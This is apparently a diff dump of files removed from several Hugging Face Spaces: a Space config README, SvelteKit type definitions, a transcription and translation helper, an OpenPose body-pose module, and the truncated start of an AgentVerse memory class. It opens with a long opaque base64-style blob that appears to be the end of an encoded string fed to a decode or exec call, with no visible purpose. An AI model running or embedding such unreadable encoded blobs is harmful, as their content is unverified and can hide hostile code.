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'))

spaces/Aadarsh4all/ChatWithBear/README.md

@@ -1,12 +0,0 @@
----
-title: ChatWithBear
-emoji: 🌖
-colorFrom: blue
-colorTo: gray
-sdk: gradio
-sdk_version: 3.39.0
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference

spaces/AchyuthGamer/OpenGPT-Chat-UI/.svelte-kit/types/src/routes/conversation/[id]/message/[messageId]/vote/$types.d.ts

@@ -1,9 +0,0 @@
-import type * as Kit from '@sveltejs/kit';
-
-type Expand<T> = T extends infer O ? { [K in keyof O]: O[K] } : never;
-type RouteParams = { id: string; messageId: string }
-type RouteId = '/conversation/[id]/message/[messageId]/vote';
-
-export type EntryGenerator = () => Promise<Array<RouteParams>> | Array<RouteParams>;
-export type RequestHandler = Kit.RequestHandler<RouteParams, RouteId>;
-export type RequestEvent = Kit.RequestEvent<RouteParams, RouteId>;

spaces/AdWeeb/SuMmeet/utils.py

@@ -1,98 +0,0 @@
-# -*- coding: utf-8 -*-
-"""
-Created on Mon Mar 28 01:07:44 2022
-
-@author: adeep
-"""
-import numpy as np
-import pandas as pd
-from sklearn.metrics import label_ranking_average_precision_score
-import streamlit as st 
-import joblib
-import os
-from translate import Translator
-from moviepy.editor import VideoFileClip
-import speech_recognition as sr
-from pydub import AudioSegment
-from pydub.silence import split_on_silence
-import transformers
-from transformers import pipeline
-import nltk
-nltk.download('punkt')
-nltk.download('averaged_perceptron_tagger')
-import nltk
-nltk.download('punkt')
-nltk.download('averaged_perceptron_tagger')
-from nltk.tokenize import sent_tokenize
-import re 
-import stanfordnlp
-def welcome():
-    return "Welcome All"
-
-def get_large_audio_transcription(path):  
-    r = sr.Recognizer()
-    sound = AudioSegment.from_wav(path)  
-    chunks = split_on_silence(sound,
-        min_silence_len = 500,
-        silence_thresh = sound.dBFS-14,
-        keep_silence=500,
-    )
-    whole_text = ""
-    for i, audio_chunk in enumerate(chunks, start=1):
-        chunk_filename = os.path.join(f"chunk{i}.wav")
-        audio_chunk.export(chunk_filename, format="wav")
-        with sr.AudioFile(chunk_filename) as source:
-            audio_listened = r.record(source)
-            try:
-                text = r.recognize_google(audio_listened)
-            except sr.UnknownValueError as e:
-                print("Error:", str(e))
-            else:
-                text = f"{text.capitalize()}. "
-                whole_text += text
-    return whole_text
-
-def get_translation(source, dest, text):
-
-    #src = "en"
-    #dst = "hi"
-
-    lang_dict = {
-        'Hindi': 'hi',
-    #    'English':'en',
-        'Malayalam': 'ml',
-        'Marathi': 'mr',
-        'Kannada':'kn', 
-        'Telugu':'te', 
-        'Tamil':'ta', 
-        'Oriya':'or',
-        'Bengali':'bn',
-        'Gujarati':'gu', 
-        'Urdu':'ur'
-    }
-
-    #src = lang_dict[source]
-    dst = lang_dict[dest]
-
-    #task_name = f"translation_{src}_to_{dst}"
-    #model_name = f"Helsinki-NLP/opus-mt-{src}-{dst}"
-
-    #translator  = pipeline(task_name, model=model_name, tokenizer=model_name)
-    translator = Translator(from_lang = 'en', to_lang=dst)
-    a_list = nltk.tokenize.sent_tokenize(text)
-    trans = []
-    for i in a_list: 
-        translation = translator.translate(i)
-        trans.append(translation)
-    
-    return ' '.join(trans)
-    
-
-def truecasing_by_sentence_segmentation(input_text):
-    # split the text into sentences
-    sentences = sent_tokenize(input_text, language='english')
-    # capitalize the sentences
-    sentences_capitalized = [s.capitalize() for s in sentences]
-    # join the capitalized sentences
-    text_truecase = re.sub(" (?=[\.,'!?:;])", "", ' '.join(sentences_capitalized))
-    return text_truecase

spaces/Adapter/CoAdapter/ldm/modules/extra_condition/openpose/body.py

@@ -1,211 +0,0 @@
-import cv2
-import math
-import matplotlib
-import matplotlib.pyplot as plt
-import numpy as np
-import time
-import torch
-from scipy.ndimage.filters import gaussian_filter
-from torchvision import transforms
-
-from . import util
-from .model import bodypose_model
-
-
-class Body(object):
-
-    def __init__(self, model_path):
-        self.model = bodypose_model()
-        if torch.cuda.is_available():
-            self.model = self.model.cuda()
-            print('cuda')
-        model_dict = util.transfer(self.model, torch.load(model_path))
-        self.model.load_state_dict(model_dict)
-        self.model.eval()
-
-    def __call__(self, oriImg):
-        # scale_search = [0.5, 1.0, 1.5, 2.0]
-        scale_search = [0.5]
-        boxsize = 368
-        stride = 8
-        padValue = 128
-        thre1 = 0.1
-        thre2 = 0.05
-        multiplier = [x * boxsize / oriImg.shape[0] for x in scale_search]
-        heatmap_avg = np.zeros((oriImg.shape[0], oriImg.shape[1], 19))
-        paf_avg = np.zeros((oriImg.shape[0], oriImg.shape[1], 38))
-
-        for m in range(len(multiplier)):
-            scale = multiplier[m]
-            imageToTest = cv2.resize(oriImg, (0, 0), fx=scale, fy=scale, interpolation=cv2.INTER_CUBIC)
-            imageToTest_padded, pad = util.padRightDownCorner(imageToTest, stride, padValue)
-            im = np.transpose(np.float32(imageToTest_padded[:, :, :, np.newaxis]), (3, 2, 0, 1)) / 256 - 0.5
-            im = np.ascontiguousarray(im)
-
-            data = torch.from_numpy(im).float()
-            if torch.cuda.is_available():
-                data = data.cuda()
-            # data = data.permute([2, 0, 1]).unsqueeze(0).float()
-            with torch.no_grad():
-                Mconv7_stage6_L1, Mconv7_stage6_L2 = self.model(data)
-            Mconv7_stage6_L1 = Mconv7_stage6_L1.cpu().numpy()
-            Mconv7_stage6_L2 = Mconv7_stage6_L2.cpu().numpy()
-
-            # extract outputs, resize, and remove padding
-            # heatmap = np.transpose(np.squeeze(net.blobs[output_blobs.keys()[1]].data), (1, 2, 0))  # output 1 is heatmaps
-            heatmap = np.transpose(np.squeeze(Mconv7_stage6_L2), (1, 2, 0))  # output 1 is heatmaps
-            heatmap = cv2.resize(heatmap, (0, 0), fx=stride, fy=stride, interpolation=cv2.INTER_CUBIC)
-            heatmap = heatmap[:imageToTest_padded.shape[0] - pad[2], :imageToTest_padded.shape[1] - pad[3], :]
-            heatmap = cv2.resize(heatmap, (oriImg.shape[1], oriImg.shape[0]), interpolation=cv2.INTER_CUBIC)
-
-            # paf = np.transpose(np.squeeze(net.blobs[output_blobs.keys()[0]].data), (1, 2, 0))  # output 0 is PAFs
-            paf = np.transpose(np.squeeze(Mconv7_stage6_L1), (1, 2, 0))  # output 0 is PAFs
-            paf = cv2.resize(paf, (0, 0), fx=stride, fy=stride, interpolation=cv2.INTER_CUBIC)
-            paf = paf[:imageToTest_padded.shape[0] - pad[2], :imageToTest_padded.shape[1] - pad[3], :]
-            paf = cv2.resize(paf, (oriImg.shape[1], oriImg.shape[0]), interpolation=cv2.INTER_CUBIC)
-
-            heatmap_avg += heatmap_avg + heatmap / len(multiplier)
-            paf_avg += +paf / len(multiplier)
-
-        all_peaks = []
-        peak_counter = 0
-
-        for part in range(18):
-            map_ori = heatmap_avg[:, :, part]
-            one_heatmap = gaussian_filter(map_ori, sigma=3)
-
-            map_left = np.zeros(one_heatmap.shape)
-            map_left[1:, :] = one_heatmap[:-1, :]
-            map_right = np.zeros(one_heatmap.shape)
-            map_right[:-1, :] = one_heatmap[1:, :]
-            map_up = np.zeros(one_heatmap.shape)
-            map_up[:, 1:] = one_heatmap[:, :-1]
-            map_down = np.zeros(one_heatmap.shape)
-            map_down[:, :-1] = one_heatmap[:, 1:]
-
-            peaks_binary = np.logical_and.reduce((one_heatmap >= map_left, one_heatmap >= map_right,
-                                                  one_heatmap >= map_up, one_heatmap >= map_down, one_heatmap > thre1))
-            peaks = list(zip(np.nonzero(peaks_binary)[1], np.nonzero(peaks_binary)[0]))  # note reverse
-            peaks_with_score = [x + (map_ori[x[1], x[0]], ) for x in peaks]
-            peak_id = range(peak_counter, peak_counter + len(peaks))
-            peaks_with_score_and_id = [peaks_with_score[i] + (peak_id[i], ) for i in range(len(peak_id))]
-
-            all_peaks.append(peaks_with_score_and_id)
-            peak_counter += len(peaks)
-
-        # find connection in the specified sequence, center 29 is in the position 15
-        limbSeq = [[2, 3], [2, 6], [3, 4], [4, 5], [6, 7], [7, 8], [2, 9], [9, 10], \
-                   [10, 11], [2, 12], [12, 13], [13, 14], [2, 1], [1, 15], [15, 17], \
-                   [1, 16], [16, 18], [3, 17], [6, 18]]
-        # the middle joints heatmap correpondence
-        mapIdx = [[31, 32], [39, 40], [33, 34], [35, 36], [41, 42], [43, 44], [19, 20], [21, 22], \
-                  [23, 24], [25, 26], [27, 28], [29, 30], [47, 48], [49, 50], [53, 54], [51, 52], \
-                  [55, 56], [37, 38], [45, 46]]
-
-        connection_all = []
-        special_k = []
-        mid_num = 10
-
-        for k in range(len(mapIdx)):
-            score_mid = paf_avg[:, :, [x - 19 for x in mapIdx[k]]]
-            candA = all_peaks[limbSeq[k][0] - 1]
-            candB = all_peaks[limbSeq[k][1] - 1]
-            nA = len(candA)
-            nB = len(candB)
-            indexA, indexB = limbSeq[k]
-            if (nA != 0 and nB != 0):
-                connection_candidate = []
-                for i in range(nA):
-                    for j in range(nB):
-                        vec = np.subtract(candB[j][:2], candA[i][:2])
-                        norm = math.sqrt(vec[0] * vec[0] + vec[1] * vec[1])
-                        norm = max(0.001, norm)
-                        vec = np.divide(vec, norm)
-
-                        startend = list(zip(np.linspace(candA[i][0], candB[j][0], num=mid_num), \
-                                            np.linspace(candA[i][1], candB[j][1], num=mid_num)))
-
-                        vec_x = np.array([score_mid[int(round(startend[I][1])), int(round(startend[I][0])), 0] \
-                                          for I in range(len(startend))])
-                        vec_y = np.array([score_mid[int(round(startend[I][1])), int(round(startend[I][0])), 1] \
-                                          for I in range(len(startend))])
-
-                        score_midpts = np.multiply(vec_x, vec[0]) + np.multiply(vec_y, vec[1])
-                        score_with_dist_prior = sum(score_midpts) / len(score_midpts) + min(
-                            0.5 * oriImg.shape[0] / norm - 1, 0)
-                        criterion1 = len(np.nonzero(score_midpts > thre2)[0]) > 0.8 * len(score_midpts)
-                        criterion2 = score_with_dist_prior > 0
-                        if criterion1 and criterion2:
-                            connection_candidate.append(
-                                [i, j, score_with_dist_prior, score_with_dist_prior + candA[i][2] + candB[j][2]])
-
-                connection_candidate = sorted(connection_candidate, key=lambda x: x[2], reverse=True)
-                connection = np.zeros((0, 5))
-                for c in range(len(connection_candidate)):
-                    i, j, s = connection_candidate[c][0:3]
-                    if (i not in connection[:, 3] and j not in connection[:, 4]):
-                        connection = np.vstack([connection, [candA[i][3], candB[j][3], s, i, j]])
-                        if (len(connection) >= min(nA, nB)):
-                            break
-
-                connection_all.append(connection)
-            else:
-                special_k.append(k)
-                connection_all.append([])
-
-        # last number in each row is the total parts number of that person
-        # the second last number in each row is the score of the overall configuration
-        subset = -1 * np.ones((0, 20))
-        candidate = np.array([item for sublist in all_peaks for item in sublist])
-
-        for k in range(len(mapIdx)):
-            if k not in special_k:
-                partAs = connection_all[k][:, 0]
-                partBs = connection_all[k][:, 1]
-                indexA, indexB = np.array(limbSeq[k]) - 1
-
-                for i in range(len(connection_all[k])):  # = 1:size(temp,1)
-                    found = 0
-                    subset_idx = [-1, -1]
-                    for j in range(len(subset)):  # 1:size(subset,1):
-                        if subset[j][indexA] == partAs[i] or subset[j][indexB] == partBs[i]:
-                            subset_idx[found] = j
-                            found += 1
-
-                    if found == 1:
-                        j = subset_idx[0]
-                        if subset[j][indexB] != partBs[i]:
-                            subset[j][indexB] = partBs[i]
-                            subset[j][-1] += 1
-                            subset[j][-2] += candidate[partBs[i].astype(int), 2] + connection_all[k][i][2]
-                    elif found == 2:  # if found 2 and disjoint, merge them
-                        j1, j2 = subset_idx
-                        membership = ((subset[j1] >= 0).astype(int) + (subset[j2] >= 0).astype(int))[:-2]
-                        if len(np.nonzero(membership == 2)[0]) == 0:  # merge
-                            subset[j1][:-2] += (subset[j2][:-2] + 1)
-                            subset[j1][-2:] += subset[j2][-2:]
-                            subset[j1][-2] += connection_all[k][i][2]
-                            subset = np.delete(subset, j2, 0)
-                        else:  # as like found == 1
-                            subset[j1][indexB] = partBs[i]
-                            subset[j1][-1] += 1
-                            subset[j1][-2] += candidate[partBs[i].astype(int), 2] + connection_all[k][i][2]
-
-                    # if find no partA in the subset, create a new subset
-                    elif not found and k < 17:
-                        row = -1 * np.ones(20)
-                        row[indexA] = partAs[i]
-                        row[indexB] = partBs[i]
-                        row[-1] = 2
-                        row[-2] = sum(candidate[connection_all[k][i, :2].astype(int), 2]) + connection_all[k][i][2]
-                        subset = np.vstack([subset, row])
-        # delete some rows of subset which has few parts occur
-        deleteIdx = []
-        for i in range(len(subset)):
-            if subset[i][-1] < 4 or subset[i][-2] / subset[i][-1] < 0.4:
-                deleteIdx.append(i)
-        subset = np.delete(subset, deleteIdx, axis=0)
-
-        # subset: n*20 array, 0-17 is the index in candidate, 18 is the total score, 19 is the total parts
-        # candidate: x, y, score, id
-        return candidate, subset

spaces/AgentVerse/agentVerse/agentverse/memory/summary.py

@@ -1,87 +0,0 @@
-import re
-from string import Template
-from typing import List
-
-from pydantic import Field, validator
-
-from agentverse.initialization import load_llm
-from agentverse.llms.base import BaseLLM
-from agentverse.message import Message
-
-from . import memory_registry
-from .base import BaseMemory
-
-
-@memory_registry.register("summary")
-class SummaryMemory(BaseMemory):
-    llm: BaseLLM
